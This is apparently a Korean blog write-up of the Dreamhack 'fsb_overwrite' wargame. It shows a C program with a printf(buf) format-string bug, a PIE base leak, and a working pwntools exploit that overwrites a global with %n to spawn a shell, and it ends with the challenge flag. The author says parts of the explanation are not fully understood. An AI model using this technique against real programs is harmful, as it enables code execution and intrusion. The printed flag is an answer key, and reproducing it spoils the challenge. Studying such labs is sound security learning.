문서화 기반 : Exploit Tech: Format String Bug | Dreamhack
PIE가 활성화되어 있다.
PIE로 인해 코드영역의 주소가 계속 바뀌니까 changeme의 주소도 계속 바뀐다.
// Name: fsb_overwrite.c
// Compile: gcc -o fsb_overwrite fsb_overwrite.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void get_string(char *buf, size_t size) {
ssize_t i = read(0, buf, size);
if (i == -1) {
perror("read");
exit(1);
}
if (i < size) {
if (i > 0 && buf[i - 1] == '\n') i--;
buf[i] = 0;
}
}
int changeme;
int main() {
char buf[0x20];
setbuf(stdout, NULL);
while (1) {
get_string(buf, 0x20);
printf(buf);
puts("");
if (changeme == 1337) {
system("/bin/sh");
}
}
}
get_string()을 보면 buf에 4바이트까지 입력 가능하고 \n을 0으로 바꿔준다.
사용자가 입력한 buf를 printf 함수의 인자로 직접 사용하니까 pinrtf(buf)에서 fsb가 발생할 것으로 예상된다.
changeme 값이 1337이면 쉘을 획득할 수 있으니까, 포맷스트링으로 값을 1337로 바꾸는 방식으로 접근해보자.
Exploit 구성
printf부분 : 0x00000000000012df <+76>: call 0x10e0 <printf@plt>
printf부분에 break 걸고 실행해준다.
run으로 프로그램을 실행하면 get_string함수에서 입력을 받는다.
특정한 값을 입력하면 printf 함수를 호출하기 직전에 bp가 걸린다.
AAAAA 입력해보자
이때 rsp를 출력해보면, rsp+0x48 위치에 0x555555555293이 저장되어 있다. (이부분 머지.... rsp+0x48 위치를 왜 찾는건지 모르겠음) -> 걍 아무거나 가져온거임 offset은 변하지 않으니까 가져와서 옾셋 따기 위해서 걍 암거나 가져온거,,,
vmmap을 보면 base주소(offset : 0x00)가 0x555555554000인 걸 볼 수 있다.
rsp-0x48에 저장되어 있는 주소와 PIE base 주소 간의 offset : 0x55555555293 - 0x555555554000 = 0x1293
from pwn import *
p = remote("host3.dreamhack.games",14338)
e = ELF('./fsb_overwrite')
p.sendline(b"%15$p")
addr = int(p.recvline()[:-1],16)
cb = addr - 0x1293
changegame = cb + e.symbols['changeme']
p.sendline(b"%1337c%8$n".ljust(16)+p64(changegame))
p.interactive()
x64 환경에서 printf 함수는 RDI에 포맷 스트링을, RSI, RDX, RCX, R8, R9 그리고 스택에 포맷 스트링의 인자를 전달한다. 예를 들어 printf("%d %d %d %d %d %d %d %d %d", 1, 2, 3, 4, 5, 6, 7, 8, 9); 를 호출하면 1, 2, 3, 4, 5, 6, 7, 8, 9 는 각각 RSI, RDX, RCX, R8, R9, [RSP], [RSP+0x8], [RSP+0x10], [RSP+0x18]에 전달된다.
-DreamHack fsb 강의 中-
포맷 스트링 취약점(FSB)을 이용하여 주소 Leak
%15$p를 보내서 15번째 오프셋의 주소를 leak한다. 왜 15번째냐면, AAAAAAAAAA 가 저장된 곳은 rsp, 즉 6번옾셋이며 0x0000555555555293까지의 거리를 따지면 이 주소는 15번째 오프셋에 위치하게 된다. 따라서 p.sendline(b"%15$p")로 15번째 오프셋에서 주소를 받아올 수 있다.
Leak한 주소에서 베이스 주소를 계산
이제 leak한 주소에서 프로그램의 베이스 주소를 계산해야 한다.
leak한 주소에서 미리 구해놓은 offset(0x1293)을 빼면 베이스 주소(cb)가 된다. cb= addr - 0x1293
changeme 함수의 주소 계산
이 PIE base 주소(cb)에 프로그램 내 changeme 함수의 오프셋을 더해 changeme 함수의 실제 주소(changegame)를 구한다. 이를 위해 cb + e.symbols['changeme']을 계산한다.
포맷 스트링을 이용한 changeme 값 변경
changeme 함수의 값을 바꾸기 위해 포맷 스트링을 이용한다. %1337c%8$n을 사용하여 값 1337을 8번째 오프셋에 저장하는 방식이다. 앞서 AAAAAAAAAA를 입력했을 때 6번 오프셋에 저장되었으므로, 저장할 주소는 8번째에 위치하게 된고 하는데..... 잘 모르겠다 다시 한 번 찾아보기
또한 포맷 스트링에서 %1337c%n으로 값을 저장할 때, 해당 형식의 길이가 10자이므로 가까운 8의 배수로 맞추기 위해 6자를 더 추가해줘야 한다.
포맷 스트링을 맞추고 %8$n으로 값을 저장하면, 뒤에 저장할 주소인 changeme의 주소가 바로 붙어 있으므로, 값을 바꿀 수 있다.
Flag is DH{b283dec57b17112a4e9aa6d5499c0f28}
'Pwnable' 카테고리의 다른 글
pwn | dart master write up (0) | 2024.10.23 |
---|---|
[DreamHack] basic_exploitation_003 Write-Up (0) | 2024.09.29 |
[DreamHack] PIE, RELRO, Out of Bounds Keywords && Quiz (0) | 2024.09.22 |
[DreamHack] Out of bound Write-Up (0) | 2024.09.22 |
[Dreamhack] basic_exploitation_001 Write-Up (0) | 2024.09.19 |